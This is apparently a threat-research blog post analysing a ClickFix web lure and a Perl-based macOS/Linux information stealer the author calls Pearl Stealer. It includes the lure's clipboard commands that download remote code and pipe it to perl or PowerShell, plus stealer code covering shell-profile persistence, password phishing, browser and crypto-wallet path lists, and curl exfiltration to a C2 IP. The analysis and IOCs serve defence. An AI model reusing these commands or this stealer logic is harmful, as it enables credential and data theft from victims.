Summary

A post on X about a ClickFix targeting linux lead to the discovery of a seemingly undocumented Perl-based macOS/linux stealer.

Here I will:

  • dig into the ClickFix Javascript that targets not just Windows, but macOS and Linux
  • deobfuscate the Perl delivered by the ClickFix
  • describe much of the Perl stealer

Pearl Stealer

As I have not found this stealer described anywhere else, it seems it needs a name. Unless it turns out that this is already known by another name or it’s being sold under a name, I’m going to give it the name Pearl Stealer with the obvious reference to Perl the primary language used by the stealer.

Pearl Stealer
Meet the Pearl Stealer

Linux Clickfix X post

This research was inspired by a post on X about a Linux ClickFix.

X Post
https://x.com/solostalking/status/1946058071928610950

In the screenshot shared by @solostalking is a website showing a typical ClickFix UI, but targeting a linux victim. This was the first I’d seen a ClickFix designed for linux.

ClickFix

The website was dedicated to ClickFix. It did not appear to be an infected legitimate site but instead one purpose built for ClickFix. There must be some other email or webpage the victim would have come from in order to get to this page. Within it’s Javascript was logic to detect three different platforms: Windows, macOS, or Linux.

let detectOS = "unknown";
if (navigator.userAgent.indexOf("Win") != -1) {
  detectOS = "win";
}
if (navigator.userAgent.indexOf("Mac") != -1) {
  detectOS = "mac";
}   
if (navigator.userAgent.indexOf("Linux") != -1) {
  detectOS = "linux";
}

The X post showed the linux instructions. Here’s also the macOS instructions.

ClickFix
ClickFix checkbox

Depending upon the platform detected the webpage would copy a small malicious script into the victim’s clipboard. Here is the Javascript that would perform that, with just a touch of defanging. We can see that the macOS and linux scripts curl/wget from same host with a difference in path based on platform.

if (detectOS == "win") {
  copyTextToClipboard("powershell -nop -w h -ep bypass -Command \"(&((-join('S','tart','-B','itsTransfer'))) (-join((-join('h','t','t','p','s',':','/','/')),'files.',(-join('c','a','t','b','o','x')),'.moe/z6izg8.txt')) (-join($env:TEMP,'y.ps1'))); &(-join($env:TEMP,'y.ps1'))\";$__cfCheck=\"Confirmation code: 579\"");
} else if (detectOS == "mac") {
  copyTextToClipboard("nohup bash -c \"curl -sL cloudflare.blazing-cloud[.]com/mac/verify/captcha/" + userId + " | perl\" >/dev/null 2>&1 & killall Terminal\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# " + translateText("cloudflareInstructionMac").replace("6543", _0x21c3ee));
} else if (detectOS == "linux") {
  copyTextToClipboard("sh -c 'wget -qO- cloudflare.blazing-cloud[.]com/linux/verify/captcha/" + userId + " | perl >/dev/null 2>&1 &' #                                                                                           Verify cloudflare captcha");
}

On macOS when pasting the malicious script into the Terminal, the malicious part is cleverly not displayed due to the series of newlines.

ClickFix
ClickFix terminal

Socket for userId

Both the macOS and linux next stage downloads require a userId. The main webpage uses Socket.IO to issue a join command to retreive this victim’s assigned userId.

let userId = localStorage.getItem("id");
socket.on("connect", () => {
  console.log("connected");
  if (!userId) {
    socket.emit("join", null, _0x56c07a => {
      localStorage.setItem("id", _0x56c07a);
      userId = _0x56c07a;
    });
  } else {
    socket.emit("join", userId, () => {});
  }
});

So for example during one sandboxing pass the following was observed in the network requests.

http://cloudflare.blazing-cloud[.]com/mac/verify/captcha/dj5fbdevxtib

Cross referencing that with the Javascript that performs the copyTextToClipboard(), we can deduce that the userId for that session was dj5fbdevxtib.

Deobfuscating Perl

The payload from the cloudflare.blazing-cloud[.]com host is piped to Perl. If we instead manually wget it, we end up with the initial Perl payload.

Initial Perl payload
Initial Perl payload

The Perl is obfuscated, but it’s not too difficult to deobfuscate.

First, replace the eval eval with a single print, the file will look like this:

^M
our $user_id = "dj5fbdevxtib";
print '"'.^M
^M

On a sandboxed linux with network disabled, we can run the modified script to find out what that gobbledygook is.

Perl payload modified
Perl payload modified

The output from the modified test perl prints different looking gobbledygook which starts and ends with double quotes. And we can see regular backslashes in front of certain characters like double-quotes and dollar signs. This looks like an escaped string. So we need to print this in order to get the escaped items unescaped.

Send the output to another file to tweak. Then edit the new file.

$ perl dj5fbdevxtib-test1.pl > dj5fbdevxtib-test2.pl
$ vim dj5fbdevxtib-test2.pl

We can see that it would unpack the gobbledygook, then eval it. That would be dangerous to do.

Perl eval unpack
Perl eval unpack (DANGEROUS)

With just a minor tweak, we can instead eval a print of the unpacked gobbledygook. This is a subtle difference and if we goofed it up, it might actually run the malware. Thus we do this in a virtual sandbox with no network.

Perl eval print
Perl eval print (SAFE)

Running the eval print version we get a mostly deobfuscated Perl script.

Perl payload mostly deobfuscated
Perl payload mostly deobfuscated

There are still escaped strings.

No doubt there’s Perl way to do this, but Python is the way I solve problems now. Whipping up a quick Python unescape script will do the trick. This is what I landed on.

import sys

if __name__ == "__main__":
    for line in sys.stdin:
        line = line.rstrip()
        line = line.replace(r'\.', '.')
        line = line.replace(r'\$', '$')
        line = line.replace(r'\@', '@')
        line = line.encode('latin1').decode('unicode_escape').encode('latin1').decode('utf-8')
        print(line)

Using that we get a nice clean Perl.

$ perl dj5fbdevxtib-test2.pl | python3 unescape.py > dj5fbdevxtib-deobfuscated.pl

Voilà! We now have the Perl script fully deobfuscated. And we’re in luck, it has all the original variable names. As we’ll see this is a complete Perl-based stealer that targets macOS or linux.

Perl deobfuscated
Perl deobfuscated

Stealer breakdown

First thing of note is the IP address that we’ll see used to retreive additional payloads, API calls, and where stolen data will be POST’d to.

my $ip = "213.108.198.227";

It downloads two payloads from the IP above: parallel and system.pl. These are saved in the victim’s home directory with a beginning dot so that in many circumstances it will be hidden.

my $ua = LWP::UserAgent->new;
$ua->get("http://$ip/parallel", ":content_file" => "$ENV{HOME}/.parallel");
system("chmod +x $ENV{HOME}/.parallel");

$ua->get("http://$ip/system.pl", ":content_file" => "$ENV{HOME}/.system.pl");
system("chmod +x $ENV{HOME}/.parallel");

Parallel is a standard GNU tool to run multiple shell jobs in parallel.

system.pl creates a C2 channel that allows the threat actor to execute commands on the victim’s machine.

Next if operating system does not contain the word darwin, then it will also download it’s own curl command to use instead of the OS provided curl.

if ($^O !~ /darwin/) {
    $ua->get("http://$ip/curl", ":content_file" => "$ENV{HOME}/.curl");
    system("chmod +x $ENV{HOME}/.curl");
}

Of note is how the stealer uses $^O to determine if the system is macOS or linux. On Ubuntu, the value is simply linux.

$ perl -e 'print($^O)'
linux

On macOS 10.15, the value is darwin.

$ perl -e 'print($^O)'
darwin

Next it curl’s the C2 with the path /start_process_data to let it know it has started up. The server will respond with OK which just goes to /dev/null.

if ($^O =~ /darwin/) {
    system("curl -v -m 120 --retry 8 "http://$ip/start_process_data" >/dev/null 2>&1");
} else {
    system(""$ENV{HOME}/.curl" -v -m 120 --retry 8 "http://$ip/start_process_data" >/dev/null 2>&1");
}

The next section uses api.ipify.org to try to get the victim’s current external IP. If that succeeds, it registers that external IP with the C2 on port 8080 with path /get_ip/.

sub is_connected_or_unreachable {
    my $ip = shift;

    my $curl = ($^O =~ /darwin/) ? "curl" : ""$ENV{HOME}/.curl"";

    my $current_ip = `$curl -s --connect-timeout 3 https://api.ipify.org 2>/dev/null`;
    chomp($current_ip);
    return 1 unless $current_ip;

    my $response = `$curl -s --connect-timeout 3 "http://$ip:8080/get_ip/$current_ip" 2>/dev/null`;
    return 1 if $?;

    chomp($response);
    return ($response eq "connected") ? 1 : 0;
}

if (!is_connected_or_unreachable($ip)) {
    my $system_path = "$ENV{HOME}/.system.pl";

    system("perl $system_path &");
}

Persistence for linux

Next, if not running macOS, then add persistence to the victim’s $HOME/.profile by appending a line to run the downloaded system.pl.

if ($^O !~ /darwin/) {
    my $home = $ENV{HOME};

    my $profile_path = $home . "/.profile";
    my $line_to_add = "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null";
    open(my $profile_path_file, "<", $profile_path) or die "Cannot open $profile_path: $!";
    my $found = 0;
    while (my $line = <$profile_path_file>) {
        chomp $line;
        if ($line =~ m|.system.pl|) {
            $found = 1;
            last;
        }
    }

    close($profile_path_file);

    if (!$found) {
        open(my $profile_path_file, ">>", $profile_path) or die "Cannot append to $profile_path: $!";
        print $profile_path_file "
" . $line_to_add . "
";
        close($profile_path_file);
    }
} else {
}

Everything!!

The script uses a file named $ENV{HOME}/everything.txt to track every file it thinks might be interesting for exfiltration. Perhaps in case the stealer had run previously and crashed prior to finishing and removing this file, it starts by deleting it.

unlink("$ENV{HOME}/everything.txt");

Persistance for all

Further on, regardless of OS being run, it add persistence by adding system.pl to a variety of shell profile scripts.

my $home = $ENV{HOME};

append_if_not_exists("$home/.zshrc", "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null");
append_if_not_exists("$home/.bashrc", "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null");
append_if_not_exists("$home/.bash_profile", "(nohup perl $home/.system.pl >/dev/null 2>&1 & disown) 2>/dev/null");

Ask for password on macOS

On macOS, the user is prompted to provide their password. Besides uploading the password to the C2, this will be used to run sudo to install a system level script for persistence.

It creates and runs a Perl script named /tmp/pw_script_$$.pl, where $$ is the PID.

The beginning of the pw_script
The beginning of the pw_script

The pw_script uses AppleScript to prompt the victim to provide their local OS password. It takes that password, creates a file that contains it, then uploads it to the C2 server as a file named password.txt.

Perl to upload password
Perl to upload password

Next, it creates a Perl script named /tmp/install_$$.pl to be run using sudo with the victim provided password.

install script
install script

The install script creates a bash script in the victim’s home directory named Apple Inc. which is used to launch the already downloaded system.pl.

Next it creates two arrays for candidate macOS browser paths and wallet paths.

@browser_paths = (
    "$app_support/Google/Chrome",
    "$app_support/BraveSoftware/Brave-Browser",
    "$app_support/Microsoft Edge",
    "$app_support/Vivaldi",
    "$app_support/Yandex/YandexBrowser",
    "$app_support/com.operasoftware.Opera",
    "$app_support/com.operasoftware.OperaGX",
    "$app_support/Google/Chrome Beta",
    "$app_support/Google/Chrome Canary",
    "$app_support/Google/Chrome Dev",
    "$app_support/Arc/User Data",
    "$app_support/CocCoc/Browser"
);
@wallet_paths = (
    "$ENV{HOME}/Exodus/exodus.wallet",
    "$ENV{HOME}/Coinomi/wallets",
    "$ENV{HOME}/Monero/wallets",
    "$ENV{HOME}/Guarda/Local Storage/leveldb",
    "$ENV{HOME}/atomic/Local Storage/leveldb",
    "$ENV{HOME}/Ledger Live",
    "$ENV{HOME}/Bitcoin/wallets",
    "$ENV{HOME}/Litecoin/wallets",
    "$ENV{HOME}/DashCore/wallets",
    "$ENV{HOME}/Dogecoin/wallets",
    "$ENV{HOME}/@trezor/suite-desktop",
    "$ENV{HOME}/.electrum/wallets",
    "$ENV{HOME}/.walletwasabi/client/Wallets",
    "$ENV{HOME}/.electrum-ltc/wallets",
    "$ENV{HOME}/.electron-cash/wallets",
    "$ENV{HOME}/@tonkeeper/desktop/config.json",
    "$ENV{HOME}/Binance/app-store.json",
    "$ENV{HOME}/discord/Local Storage",
    "$ENV{HOME}/discord/Local State",
    "$ENV{HOME}/Steam/config",
    "$ENV{HOME}/Telegram Desktop/tdata",
    "$ENV{HOME}/OpenVPN Connect/profiles",
    "$ENV{HOME}/.config/filezilla",
    "$app_support/Exodus/exodus.wallet",
    "$app_support/Coinomi/wallets",
    "$app_support/Monero/wallets",
    "$app_support/Guarda/Local Storage/leveldb",
    "$app_support/atomic/Local Storage/leveldb",
    "$app_support/Ledger Live",
    "$app_support/Bitcoin/wallets",
    "$app_support/Litecoin/wallets",
    "$app_support/DashCore/wallets",
    "$app_support/Dogecoin/wallets",
    "$app_support/@trezor/suite-desktop",
    "$app_support/@tonkeeper/desktop/config.json",
    "$app_support/Binance/app-store.json",
    "$app_support/discord/Local Storage",
    "$app_support/discord/Local State",
    "$app_support/Steam/config",
    "$app_support/Telegram Desktop/tdata",
    "$app_support/OpenVPN Connect/profiles"
);

Back to linux

Next if running linux, it downloads a binary named data_extracter from the C2 and executes it.

my $home = $ENV{HOME};

system("$home/.curl -sL http://$ip/data_extracter -o $home/.data_extracter && chmod +x $home/.data_extracter && $home/.data_extracter "$identifier" > /dev/null 2>&1 &");

When running the data_extracter it provides $identifier as the argument which was previously constructed as ${timestamp}_${uuid}. An example $identifier would be 20-Jul-14:11_ea9ccf57-17bc-40fd-8d07-3154ead9fd71.

data_extracter is a compiled Python script. When run in a sandbox it prompted for a password for a new keyring.

new keyring
new keyring

Also noticed when running without an argument, it crashed and revealed that it was originally a Python script named data_extracter.py.

traceback
traceback

When run in the sandbox with a well-formed identifier argument, besides prompting for a new keyring password, it printed that it checked several browsers. It crashed because it attempted to execute a non-existant .curl.

data_extracter
data_extracter

Interesting files inventory

For both macOS and linux, it performs a find for a variety of file extensions within home folders that are standard for Ubuntu. It appends the names of these files to a file named everything.txt. It does not gather these files just yet.

my $file_types = "\( -name "*.txt" -o -name "*.docx" -o -name "*.rtf" -o -name "*.aar" -o " .
                 "-name "*.zip" -o -name "*.rar" -o -name "*.doc" -o -name "*.wallet" -o " .
                 "-name "*.keys" -o -name "*.key" -o -name "*.mp3" -o -name "*.m4a" -o " .
                 "-name "*.jpg" -o -name "*.png" -o -name "*.jpeg" -o -name "*.pdf" -o " .
                 "-name "*.xlsx" -o -name "*.asc" -o -name "*.conf" -o -name "*.dat" -o " .
                 "-name "*.json" -o -name "*.kdbx" -o -name "*.ovpn" -o -name "*.pem" -o " .
                 "-name "*.ppk" -o -name "*.rdp" -o -name "*.sql" -o -name "*.xls" \)";

system("find "$ENV{HOME}/Desktop" "$ENV{HOME}/Downloads" "$ENV{HOME}/Pictures" "$ENV{HOME}/Documents" " .
       "-maxdepth 3 -type f $file_types -size -5M -print >> "$ENV{HOME}/everything.txt"");

Browser file inventory

For both macOS and linux, it rummages through a variety of browser paths. It looks for Chromium based browser files like Cookies and Login Data. For Firefox, it looks for files like cookies.sqlite and logins.json. It looks for 266 different extension ids.

At this point it is not exfiltrating any of this data. Instead it just logs each file in the everything.txt file.

system("find "$profile_path" -maxdepth 1 -type f \( " .
       "-name "Web Data" -o -name "History" -o -name "Cookies" -o -name "Login Data" " .
       "\) -print >> "$ENV{HOME}/everything.txt"");

foreach my $ext_id (@extension_ids) {
    my $ext_dir = "$profile_path/Local Extension Settings/$ext_id";
    if (-d $ext_dir) {
        system("find "$ext_dir" -type f -print >> "$ENV{HOME}/everything.txt"");
    }
}

Wallet file inventory

Next it searches through any potential crypto wallet folders and logs any files found to everything.txt.

foreach my $wallet_path (@wallet_paths) {
    if (-d $wallet_path) {
        system("find "$wallet_path" -type f -print >> "$ENV{HOME}/everything.txt"");
    } elsif (-f $wallet_path) {
        open(my $fh, ">>", "$ENV{HOME}/everything.txt") or die "Can't open file: $!";
        print $fh "$wallet_path
";
        close $fh;
    }
}

Exfiltration

After finding all interesting files, the script finally exfiltrates all the files specified in $ENV{HOME}/everything.txt. It does this using the downloaded parallel tool.

if ($^O =~ /darwin/) {
  system("cat "$ENV{HOME}/everything.txt" |
         "$ENV{HOME}/.parallel" -j 50 'folder=$(dirname {}) &&
          curl -v -m 120 --retry 8 -F file=@{} -F "dirPath=$folder" $server' >/dev/null 2>&1");
} else {
  system("cat "$ENV{HOME}/everything.txt" |
         "$ENV{HOME}/.parallel" -j 50 'folder=$(dirname {}) &&
         "$ENV{HOME}/.curl" -v -m 120 --retry 8 -F file=@{} -F "dirPath=$folder" $server' >/dev/null 2>&1");
}

Instead of uploading each file one by one, or creating a single large archive of the complete set of files, parallel is used to create at most 50 jobs that run in parallel to optimize the upload efficiency. This means there will be 50 instances of curl each uploading a single file. When an individual curl job is done, another curl job is initiated with the next file.

$server was defined at the beginning of the script and defines a unique identifier for this victim. So all the exfiltrated files will be uploaded to the C2 server at the path /util/upload_data/$identifier.

my $identifier = "${timestamp}_${uuid}";
my $server = "http://$ip/util/upload_data/$identifier";

After all the files have been exfiltrated it lets the C2 know by curl’ing the C2 path /data_processed/$identifier.

if ($^O =~ /darwin/) {
    system("curl -v -m 120 --retry 8 "http://$ip/data_processed/$identifier" >/dev/null 2>&1");
} else {
    system(""$ENV{HOME}/.curl" -v -m 120 --retry 8 "http://$ip/data_processed/$identifier" >/dev/null 2>&1");
}

macOS Notes Export

Next, on macOS it creates an AppleScript named /tmp/simple_notes_export.applescript which is used to export all Notes and attachments to a folder named NotesExport.

upper portion of notes export
upper portion of notes export

If the AppleScript successfully creates the NotesExport folder, that folder is exfiltrated using parallel and curl with the same method used earlier.

After that is complete a curl to the C2 at path /notes_processed/$identifier is performed.

system("curl -v -m 120 --retry 8 "http://$ip/notes_processed/$identifier" >/dev/null 2>&1");

Triage

A sandboxing of the initial URL with Triage yielded a 8 out of 10 threat. No detection of a stealer was made.

https://tria.ge/250719-yctzgagj2x

IOCs

www.madeinci[.]ci
(ClickFix)
 ->
https://www.madeinci[.]ci/socket.io/?EIO=4&transport=websocket
 ->
https://cloudflare.blazing-cloud[.]com/mac/verify/captcha/{userId}
https://cloudflare.blazing-cloud[.]com/linux/verify/captcha/{userId}

Files Downloaded

http://213.108.198[.]227/parallel
http://213.108.198[.]227/system.pl
http://213.108.198[.]227/curl
http://213.108.198[.]227/fileicon.tar.gz
http://213.108.198[.]227/data_extracter

API endpoints

https://blazing-cloud[.]com/mac/done/$main::user_id

http://213.108.198[.]227/start_process_data
http://213.108.198[.]227:8080/get_ip/$current_ip
http://213.108.198[.]227/util/upload_data/$identifier
http://213.108.198[.]227/data_processed/$identifier
http://213.108.198[.]227/notes_processed/$identifier

Hashes

50bc21ca2b8fcfd4d46d51d94ab1ac4450a25167a1607074695a7b048ce3c1b3  dj5fbdevxtib
eafa12df62f778180984cdbb510dabf8a3ad36a3d2cd250dad0ee12cdca1286f  dj5fbdevxtib-deobfuscated.pl
05c922345ab0113c55824a1b2c658b0149a88c4cf4fecc01bf2409bfd81bbca1  parallel
7d3d2d0f17a5ddd1e9c32ad611a8c00bbd53088734784726cd4c6dcd44248a37  system.pl
d18aa1f4e03b50b649491ca2c401cd8c5e89e72be91ff758952ad2ab5a83135d  curl
2f52ced92662bfc025db92787435e0d3f73469fe888973e62c8b5bd830e08e62  fileicon.tar.gz
0d904998d082a51c27c05a23cd62b2f5f030a511af911110a814afffbe3fd1e4  data_extracter